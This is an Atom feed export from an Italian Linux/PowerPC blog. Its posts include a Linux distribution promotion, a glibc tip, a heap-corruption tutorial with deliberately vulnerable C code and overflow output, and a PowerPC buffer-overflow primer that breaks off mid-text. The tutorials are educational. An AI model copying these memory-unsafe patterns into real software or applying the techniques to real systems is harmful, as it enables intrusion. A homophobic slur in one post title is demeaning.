citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-280362480360623016?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/280362480360623016/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=280362480360623016' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/280362480360623016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/280362480360623016'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/10/come-mi-sento-today.html' title='Come mi sento today'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-5041858356060006708</id><published>2010-09-22T21:30:00.003+02:00</published><updated>2011-01-13T10:42:31.218+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='life'/><title type='text'>I froci: sfatiamo miti come se piovessero sodomiti</title><content type='html'>http://www.lamentazioni.org/blog/2010/09/i-froci-sfatiamo-miti-come-se-piovessero-sodomiti.prcd&lt;br /&gt;&lt;br /&gt;Quand'e' che partiamo?&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-5041858356060006708?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/5041858356060006708/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=5041858356060006708' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/5041858356060006708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/5041858356060006708'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/09/i-froci-sfatiamo-miti-come-se.html' title='I froci: sfatiamo miti come se piovessero sodomiti'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-302710933455952043</id><published>2010-09-20T21:35:00.001+02:00</published><updated>2011-01-13T10:43:18.341+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc archlinuxppc'/><title type='text'>ArchLinuxPPC: The Most Advanced PPC distro in the world</title><content type='html'>Hello all,&lt;br /&gt;&lt;br /&gt;Do you ever know what PowerPC are?&lt;br /&gt;They're great processors made by IBM, which was the core of old Macintosh, and the core of some of the new-generation console, as Nintendo Wii or Playstation 3.&lt;br /&gt;&lt;br /&gt;Linux supports powerpc, and this support continue to grow, because big IBM mainframe are all made by many PowerPC CPUs.&lt;br /&gt;So, what is the most advanced linux distro for PowerPC? ArchLinuxPPC!&lt;br /&gt;We provide the last GNOME 2.30.2, KDE 4.5.1, XFCE 4.6.3, the lastest Xorg 1.9, and kernel 2.6.35.4.&lt;br /&gt;&lt;br /&gt;Join now our community, and long live PPC!&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-302710933455952043?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/302710933455952043/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=302710933455952043' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/302710933455952043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/302710933455952043'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/09/archlinuxppc-most-advanced-ppc-distro.html' title='ArchLinuxPPC: The Most Advanced PPC distro in the world'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-7194646976935674195</id><published>2010-09-05T19:14:00.001+02:00</published><updated>2011-01-13T10:43:27.068+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc archlinuxppc'/><title type='text'>undefined reference to `__libc_csu_fini'</title><content type='html'>After compiling glibc, I had this error when I try to compile other programs:&lt;br /&gt;&lt;br /&gt;crt1.o: In function `_start':&lt;br /&gt;(.text+0xc): undefined reference to `__libc_csu_fini'&lt;br /&gt;&lt;br /&gt;It is caused by a bad strip of glibc libraries. Please, make sure you don't strip anything (or use --strip-debug) when compiling glibc :)&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-7194646976935674195?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/7194646976935674195/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=7194646976935674195' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7194646976935674195'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/7194646976935674195'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/09/undefined-reference-to-libccsufini.html' title='undefined reference to `__libc_csu_fini&apos;'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-4405680927377245632</id><published>2010-07-16T01:52:00.003+02:00</published><updated>2010-07-16T10:36:52.695+02:00</updated><title type='text'>Heap Corruption</title><content type='html'>&lt;pre&gt;,-----------------------------------------------------------------.&lt;br /&gt;&lt;br /&gt;| Heap Corruption / A Short Description and Step-by-Step Tutorial |&lt;br /&gt;|         Costantino Pistagna - pistagna@dmi.unict.it             |&lt;br /&gt;&lt;br /&gt;'-----------------------------------------------------------------'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 180%;"&gt;Abstract&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;Cosa e` lo Heap?&lt;/span&gt;&lt;br /&gt;La memoria  allocata  dal  processo in fase di  runtime -esecuzione-, fa' parte&lt;br /&gt;della struttura che comunemente va' sotto il nome di Heap. Con il termine Heap,&lt;br /&gt;quindi,  si  intende  qualunque  forma  e  porzione di memoria che viene creata&lt;br /&gt;dinamicamente  durante l'esecuzione del nostro processo. Un array di caratteri,&lt;br /&gt;allocato  dinamicamente attraverso una chiamata malloc/calloc fara' parte dello&lt;br /&gt;heap. In generale  qualunque  assegnazione  dinamica di  memoria contigua fara'&lt;br /&gt;parte  dello heap. Viceversa, quando  la porzione di memoria non e' piu' utile,&lt;br /&gt;viene chiamata una funzione antitetica alla malloc: free().&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In  qualunque  circostanza,  comunque,  la  gestione  dello Heap  e' un compito&lt;br /&gt;altamente  complesso.  L'obiettivo  di  allocazione ottimale ed efficente della&lt;br /&gt;memoria, infatti, e' un  problema NP-Completo;  questo significa, che qualunque&lt;br /&gt;approccio  utilizzato,  non ha soluzione  polinomiale adeguata. Ci  limiteremo, &lt;br /&gt;quindi,  a  lavorare  con  algoritmi  che  fanno  il  loro  lavoro  "ragionevol&lt;br /&gt;mente"  bene  ed  in  un  "ragionevole"  intervallo  di tempo. Si  puo'  vedere&lt;br /&gt;il problema come la ricerca del giusto compromesso: se si ottimizza la gestione&lt;br /&gt;della  memoria  senza  sprechi,  si paga un pegno in termini di tempo e risorse&lt;br /&gt;della CPU; viceversa se non  si ottimizza  adeguatamente la memoria, si avranno&lt;br /&gt;delle  chiamate  di  funzione - malloc,free, etc. - molto  piu'  veloci, ma una&lt;br /&gt;gestione della memoria disponibile molto frammentata.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;.         .                      .         .&lt;br /&gt;.         .                      .         .&lt;br /&gt;.---------.                      .---------.&lt;br /&gt;|allocated|                      | free    |&lt;br /&gt;+---------+                      +---------+&lt;br /&gt;|allocated|                      |allocated|&lt;br /&gt;+---------+                      +---------+&lt;br /&gt;|allocated+                      | free    |&lt;br /&gt;+---------+                      +---------+&lt;br /&gt;|allocated+                      | free    |&lt;br /&gt;+---------+                      +---------+&lt;br /&gt;|allocated+                      |allocated|&lt;br /&gt;+---------+                      +---------+&lt;br /&gt;.         .                      |allocated|&lt;br /&gt;.         .                      +---------+&lt;br /&gt;.         .                      .         .&lt;br /&gt;.         .                      .         .&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Quando una porzione di memoria viene allocata, non puo' essere  ri/mossa sino a&lt;br /&gt;quando  l'utente  non  la  libera. Se viene liberata della memoria ad indirizzi&lt;br /&gt;inferiori  o  superiori,  si  crea quello che si chiama un "buco" nella memoria&lt;br /&gt;allocata. Il blocco di memoria libero cosi' creato viene, tipicamente, aggiunto&lt;br /&gt;in  una  lista  doppiamente  linkata  per  successive  riallocazioni. Come gia'&lt;br /&gt;accennato,  una  buona  gestione  dello  heap  dovrebbe  allocare la memoria in&lt;br /&gt;maniera  contigua  senza  lasciare  spazi  inutilizzati;  questo  implica delle&lt;br /&gt;politiche  di  gestione dello spazio non indifferenti, che comunque portano via&lt;br /&gt;del tempo.  Gli heap  manager piu' efficenti riescono ad effettuare allocazioni&lt;br /&gt;di spazio in tempi non superiori a O(lgn), il che non e' male. Un buon rapporto&lt;br /&gt;prezzo/prestazioni, insomma, e' l'unica soluzione verosimilmente attuabile.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;Lo spazio di indirizzamento dei processi&lt;/span&gt;&lt;br /&gt;Lo  spazio  di  indirizzamento  di  un processo consiste di tutti gli indirizzi&lt;br /&gt;logici  che  puo' utilizzare. Ogni  processo ha un suo spazio di indirizzamento&lt;br /&gt;privato ma puo' condividerlo, attraverso tecniche  di memory sharing, con altri&lt;br /&gt;processi.  Un  processo puo'  acquisire nuova memoria  dinamica per il suo heap&lt;br /&gt;attraverso chiamate di sistema dedicate: malloc, calloc, brk. I campi start_brk&lt;br /&gt;e  brk  indicano,  rispettivamente,  il punto  di  inizio  ed  il punto di fine&lt;br /&gt;dell'attuale zona di heap. Attraverso le funzioni sopra  citate  e'  possibile,&lt;br /&gt;tuttavia, modificare a  proprio piacimento le dimensione  dello heap. brk(2) e'&lt;br /&gt;la radice di tutte le altre funzioni e  si occupa della  crescita  dinamica del&lt;br /&gt;data segment o heap.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;Gli Overflow di Heap: Heap Corruption Attack&lt;/span&gt;&lt;br /&gt;Gli overflow di heap possono essere divisi in due classi:&lt;br /&gt;Una classe comprende gli attacchi dove l'overflow  di un buffer allocato  sullo&lt;br /&gt;heap  altera  direttamente  il  contenuto  di  una  zona  di memoria adiacente.&lt;br /&gt;L'altra  classe  comprende  exploits  che  alterano le informazioni di gestione&lt;br /&gt;utilizzate  dal  memory  manager  (malloc, free, etc.). La  maggior parte delle&lt;br /&gt;implementazioni  di  *alloc  condividono  il  comportamento  nel  conservare le&lt;br /&gt;informazioni  di  gestione  all'interno dello stesso heap. Questo comportamento&lt;br /&gt;diventa  un  possibile punto d'attacco per un attaccante che intende modificare&lt;br /&gt;o corrompere le informazioni presenti sullo heap.&lt;br /&gt;&lt;br /&gt;L'idea  centrale  dell'attacco  e'  quella  di  modificare  le  informazioni di&lt;br /&gt;gestione,  in  un  modo che permettera'  sovrascritture arbitrarie  successive.&lt;br /&gt;Cosi' facendo gli indirizzi  di  ritorno, tabelle di link o data  level possono&lt;br /&gt;essere alterati  in maniera casuale dall'attaccante. Quale esempio  chiaritore,&lt;br /&gt;si immagini un contesto in cui  le zone  di  memoria  heap  vengono  conservate&lt;br /&gt;attraverso delle strutture dati liste  doppiamente linkate. Se un attaccante e'&lt;br /&gt;in  grado  di  modificare  le  zone  di  heap  adiacenti a quella in cui gli e'&lt;br /&gt;permesso scrivere -attacco del primo tipo-, con un po' piu' di esperienza sara'&lt;br /&gt;in grado di modificare i  puntatori del proprio spazio di memoria in maniera da&lt;br /&gt;puntare  a  zone  diverse  da  quelle  originali. In questo  modo  e' possibile&lt;br /&gt;modificare i puntatori interpellati in fase di liberamento e  nuova allocazione&lt;br /&gt;della memoria, creando una corruzione dello heap. Si vedano a tal proposito gli&lt;br /&gt;esempi forniti.&lt;br /&gt;&lt;br /&gt;Al di  la'  di  tecniche  esoteriche, comunque, il problema della malformazione&lt;br /&gt;dello heap puo' dare vita a fenomeni e situazioni inaspettate: -bugs-. A titolo&lt;br /&gt;di  esempio,  si  immagini  un  elementare  programma  che  conservi in memoria&lt;br /&gt;strutture dati complesse,  contenenti  informazioni circa utenti e loro credito&lt;br /&gt;bancario:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;typedef struct cliente {&lt;br /&gt;char nome[20];&lt;br /&gt;char cognome[20];&lt;br /&gt;int  credito;&lt;br /&gt;int  debito;&lt;br /&gt;struct cliente *next, *prev;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;L'utente  che  ha accesso in scrittura alle zone di memoria dinamica contenenti&lt;/code&gt;&lt;br /&gt;le strutture di cui sopra,puo' sferrare attacchi multipli di tipo HC al sistema&lt;br /&gt;Se non viene fatto nessun controllo sulla stringa nome e cognome, sara'  facile&lt;br /&gt;scavalcarle  per  poter  avere accesso libero alle note di credito e debito. Il&lt;br /&gt;seguente codice, anche se concettualmente giusto, apre una breccia di sicurezza all'interno del nostro sistema:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;int main(int argc, char **argv) {&lt;br /&gt;cliente *ptr;&lt;br /&gt;ptr = (cliente *)calloc(1,sizeof(cliente));&lt;br /&gt;&lt;br /&gt;strcpy(ptr-&amp;gt;cognome, argv[2]);&lt;br /&gt;ptr-&amp;gt;credito=atoi(argv[3]);&lt;br /&gt;ptr-&amp;gt;debito=atoi(argv[4]);&lt;br /&gt;strcpy(ptr-&amp;gt;nome, argv[1]);&lt;br /&gt;&lt;br /&gt;printf("Vs. Credito: %d\nVs. Debito: %d\n", ptr-&amp;gt;credito, ptr-&amp;gt;debito);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;cagliostro$./heap4 Marco Moretti 0 4&lt;br /&gt;Vs. Credito: 0&lt;br /&gt;Vs. Debito: 4&lt;br /&gt;cagliostro$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Cosa succede se forziamo il buffer NOME ?&lt;br /&gt;&lt;code&gt;&lt;br /&gt;cagliostro$./heap4 MarcoPINOPENASENZAPANEMENTREPINAPANEPONENEL Moretti 0 4&lt;br /&gt;Vs. Credito: 1313164288&lt;br /&gt;Vs. Debito: 4&lt;br /&gt;cagliostro$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Eccoci servito un credito a nostro favore di: 1.313.164.288Euro!&lt;br /&gt;&lt;br /&gt;Ma il nostro attaccante  puo' anche  giocare piu' astutamente e modificare allo&lt;br /&gt;stesso modo i puntatori *next e *prev, fornendo locazioni con  utenze di comodo&lt;br /&gt;che si e' precedentemente creato senza  corrompere  direttamente i campi. Visto&lt;br /&gt;che  la  memoria  in  un sistema  viene  mantenuta attraverso liste linkate (in&lt;br /&gt;verita' non e' proprio cosi, ma  l'astrazione  rende  per  il target del nostro&lt;br /&gt;trattato)un attaccante potra' alterare i puntatori a zone di memoria in maniera&lt;br /&gt;da  ottenere  un  effetto  di  invalida e corruzione  dello heap da sfruttare a&lt;br /&gt;proprio favore.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 130%;"&gt;Forziamo le regole - Alcuni Esempi Pratici&lt;/span&gt;&lt;br /&gt;Se un utente malizioso  e' in grado di mettere in overflow un blocco di memoria&lt;br /&gt;allocato dinamicamente,potra' sovrascrivere la prossima intestazione di memoria&lt;br /&gt;contigua.Quando il chunk messo in overflow viene disallocato, ad esempio in una&lt;br /&gt;lista doppiamente linkata, l'attaccante puo' controllare i valori next e prev&lt;br /&gt;di questo chunk.&lt;br /&gt;&lt;br /&gt;Un file eseguibile come ELF, ha alcune sezioni al suo interno:&lt;br /&gt;&lt;br /&gt;- PLT   (Procedure Linking Table)&lt;br /&gt;- GOT   (Global Offset Table)&lt;br /&gt;- init  (instructions executed on init)&lt;br /&gt;- fini  (instructions executed upon termination)&lt;br /&gt;- ctors (global constructors)&lt;br /&gt;- dtors (global destructors)&lt;br /&gt;&lt;br /&gt;La memoria allocata al processo e' conosciuta, ovviamente, come HEAP.La sezione&lt;br /&gt;BSS contiene dati non inizializzati, e viene allocata  a  run-time. Finche' non&lt;br /&gt;viene scritto su di essa, rimane a zero. Quando parliamo di heap-based overflow&lt;br /&gt;ci riferiamo contemporaneamente a overflows di buffers basati su heap/data/bss.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;valvoline$ cat heap1.c&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;#define BUFSIZE 16&lt;br /&gt;#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;u_long diff;&lt;br /&gt;char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);&lt;br /&gt;&lt;br /&gt;diff = (u_long)buf2 - (u_long)buf1;&lt;br /&gt;printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff);&lt;br /&gt;memset(buf2, 'A', BUFSIZE-1);&lt;br /&gt;buf2[BUFSIZE-1] = '\0';&lt;br /&gt;printf("before overflow: buf2 = %s\n", buf2);&lt;br /&gt;memset(buf1, 'B', (u_int)(diff + OVERSIZE));&lt;br /&gt;printf("after overflow: buf2 = %s\n", buf2);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;valvoline$ ./heap1&lt;br /&gt;buf1 = 0x300140, buf2 = 0x300150, diff = 0x10 bytes&lt;br /&gt;before overflow: buf2 = AAAAAAAAAAAAAAA&lt;br /&gt;after overflow: buf2 = BBBBBBBBAAAAAAA&lt;br /&gt;valvoline$&lt;br /&gt;&lt;/string.h&gt;&lt;/unistd.h&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;/code&gt;&lt;br /&gt;Il codice funziona perche buf1 va' oltre i suoi limiti  e sconfina nello spazio&lt;br /&gt;di heap di buf2. Semplice! Poiche' lo spazio di heap di buf2 e' ancora   valido&lt;br /&gt;(qualcuno ha allocato dello spazio in memoria ed e' possibile scrivere/leggere)&lt;br /&gt;il programma continuera' a funzionare senza segnalarci errori o crash.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;valvoline$ cat heap2.c&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;&lt;br /&gt;#define BUFSIZE 16&lt;br /&gt;#define ADDRLEN 4 /* # of bytes in an address */&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;u_long diff;&lt;br /&gt;static char buf[BUFSIZE], *bufptr;&lt;br /&gt;&lt;br /&gt;bufptr = buf, diff = (u_long)&amp;amp;bufptr - (u_long)buf;&lt;br /&gt;printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",&lt;br /&gt;&amp;amp;bufptr, bufptr, buf, diff, diff);&lt;br /&gt;memset(buf, 'A', (u_int)(diff + ADDRLEN));&lt;br /&gt;printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",&lt;br /&gt;&amp;amp;bufptr, bufptr, buf, diff, diff);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;valvoline$ ./heap2&lt;br /&gt;bufptr (0x3090) = 0x3080, buf = 0x3080, diff = 0x10 (16) bytes&lt;br /&gt;bufptr (0x3090) = 0x41414141, buf = 0x3080, diff = 0x10 (16) bytes&lt;br /&gt;&lt;br /&gt;valvoline$&lt;br /&gt;&lt;/errno.h&gt;&lt;/string.h&gt;&lt;/unistd.h&gt;&lt;/stdlib.h&gt;&lt;/stdio.h&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Il nuovo  codice si appoggia  ad un  attacco di tipo  bss/heap-based  overflow.&lt;br /&gt;In  questo caso sovrascriviamo  il  puntatore ptrbuf, alterando teoricamente il&lt;br /&gt;flusso originale del codice.&lt;div class="blogger-post-footer"&gt;(c) 2008 JJDaNiMoTh
Non sei autorizzato a copiare / diffondere i contenuti senza
citare l'autore con nome e indirizzo e-mail.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/366971592391108583-4405680927377245632?l=jjdanimoth.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jjdanimoth.blogspot.com/feeds/4405680927377245632/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=366971592391108583&amp;postID=4405680927377245632' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4405680927377245632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/366971592391108583/posts/default/4405680927377245632'/><link rel='alternate' type='text/html' href='http://jjdanimoth.blogspot.com/2010/07/heap-corruption.html' title='Heap Corruption'/><author><name>DaNiMoTh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-366971592391108583.post-2448116608075610662</id><published>2010-07-16T01:50:00.004+02:00</published><updated>2010-07-16T10:37:32.266+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='powerpc buffer overflow bof'/><title type='text'>PowerPC bof howto</title><content type='html'>&lt;pre&gt;,-----------------------------------------------.&lt;br /&gt;| PPC - Buffer Overflow / What you need to know |&lt;br /&gt;| Costantino Pistagna  -  pistagna@dmi.unict.it |&lt;br /&gt;'-----------------------------------------------'&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Abstract&lt;br /&gt;Gli attacchi di tipo bof (BufferOverflow) sono una pratica relativamente facile&lt;br /&gt;da implementare. Sulle architetture convenzionali, quali  ad esempio intel x86,&lt;br /&gt;il lavoro e' reso ancora  piu' facile dal fatto che le chiamate a funzioni sono&lt;br /&gt;implementate  con  l'opcode  "call",  il quale  salva l'indirizzo del chiamante&lt;br /&gt;sullo  stack  in maniera  da  poterlo  ripristinare  alla  fine  della funzione&lt;br /&gt;chiamata. Discorso a parte deve essere fatto con architetture alternative,quali&lt;br /&gt;ad  esempio  PPC  e  Sparc,  per  queste  deve  essere  utilizzata  una tecnica&lt;br /&gt;alternativa per potere forzare lo stack dal momento che sono presenti  ostacoli&lt;br /&gt;di tipo logistico differenti.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PPC e OS X/Darwin&lt;br /&gt;Una funzione tipica per ppc e' eseguita con  l'istruzione 'blr'  la quale salva&lt;br /&gt;l'indirizzo di ritorno del chiamante in un registro speciale destinato a questo&lt;br /&gt;scopo, chiamato "link register". Se tutto fosse lasciato cosi' com'e' l'attacco&lt;br /&gt;di tipo "smash-stack" non sarebbe possibile a  causa del fatto che  non abbiamo&lt;br /&gt;nessuna possibilita' di alterare il link register  con una semplice riscrittura&lt;br /&gt;dello stack. Fortunatamente per l'attaccante l'amministratore, il link register&lt;br /&gt;deve  essere  salvato  ogni  volta  che una  funzione chiama un'altra funzione.&lt;br /&gt;Proviamo a dare un  rapido  sguardo di  insieme alle funzioni  generali ed alle&lt;br /&gt;caratteristiche principali dell'architettura che ci saranno utili durante tutto&lt;br /&gt;il corso del testo.&lt;br /&gt;&lt;br /&gt;L'architettura powerpc utilizza un set di istruzioni RISC  (Reduced Instruction&lt;br /&gt;Set Computer). Tutte le istruzioni,opcodes,sono della stessa dimensione (32bit)&lt;br /&gt;per permettere l'elaborazione in architetture  parallele pipelined. Anche se e'&lt;br /&gt;possibile fare operare i processori PowerPC indifferentemente in indirizzamento&lt;br /&gt;"little endian" o "big endian",la loro configurazione di default e' big endian.&lt;br /&gt;A  causa  del  modo in cui le  istruzioni  sono caricate ed eseguite in memoria&lt;br /&gt;dalla  CPU,  ogni  istruzione richiede di essere validata prima di poter essere&lt;br /&gt;eseguita. Questa  validazione  avviene  sotto  forma  di  un allineamento delle&lt;br /&gt;istruzioni; se le istruzioni non risultano correttamente  allineate a gruppi di&lt;br /&gt;word, prima dell'esecuzione, il processore arrestera'  l'esecuzione  ritornando&lt;br /&gt;un  errore  di  allineamento  al  sistema  operativo. Questo significa che ogni&lt;br /&gt;istruzione 32bit deve essere "word"-allineata per essere considerata valida per&lt;br /&gt;l'esecuzione dal microprocessore.&lt;br /&gt;&lt;br /&gt;Il PowerPC ed il suo insieme di istruzioni  sono pensati come  una  macchina  a&lt;br /&gt;stati con registri (load / store). E' possibile manipolare il flusso di dati da&lt;br /&gt;e  per la memoria attraverso l'uso di registri ed istruzioni ad essi associati.&lt;br /&gt;Come   conseguenza,  esistono  davvero   poche  istruzioni  che  permettono  la&lt;br /&gt;manipolazione  diretta  della  memoria (a differenza delle architetture x86). I&lt;br /&gt;seguenti registri (i piu' importanti) sono a disposizione del programmatore per&lt;br /&gt;le operazioni piu' comuni:&lt;br /&gt;&lt;br /&gt;Machine  State  Register (MSR)  -  Definisce  la  configurazione ed  il modo di&lt;br /&gt;operare della CPU. Il modo di operare in big-endian o little-endian,ad esempio,&lt;br /&gt;viene governato da questo registro.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;General  Purpose  Register  (GPR)  -  Vengono forniti trentadue registri ad uso&lt;br /&gt;generale (GPR0 - GPR31). Questi registri sono spesso indicati  con r0, r1, etc.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Floating Point Register (FPR) - Sono presenti trentadue registri da 64bit (FPR0&lt;br /&gt;- FPR31) per il calcolo in virgola mobile.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Overflow  Register  (XER)  -  Fornisce  indicazioni  circa il verificarsi di un&lt;br /&gt;overflow  avvenuto  come  risultato di una precedente istruzione e/o calcolo su&lt;br /&gt;interi.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Floating Point Status and Control Register (FPSCR) - fornisce un metodo per  il&lt;br /&gt;controllo della correttezza riguardo le operazioni su virgola mobile ed il loro&lt;br /&gt;esito.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Condition Register (CR) - fornisce indicazioni circa il risultato di un calcolo&lt;br /&gt;precedente. Viene utilizzato tipicamente per salti condizionati.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Count Register (CTR)  -  e'  un  regitro  a  32bit  che puo'  essere usato come&lt;br /&gt;contatore  di   cicli  ed  essere  decrementato  automaticamente  usando  delle&lt;br /&gt;specifiche istruzioni di salto.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Link  Register  (LR)  -  fornisce  un  meccanismo per conservare l'indirizzo di&lt;br /&gt;ritorno di una subroutine.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;OSX/Darwin e System Calls Il sistema operativo di Apple, MAC OS X (Darwin), e' molto simile a Linux nell' esecuzione delle chiamate di sistema; per essere piu'  precisi  le system calls vengono  eseguite  in  accordo  ad  alcuni  valori  conservati  all'interno dei registri del microprocessore. OS X e Darwin usano i seguenti  registri generali come segue: &lt;br /&gt;&lt;ul&gt;&lt;li&gt;r0 - il numero della system call da eseguire. Le chiamate di sistema ed il 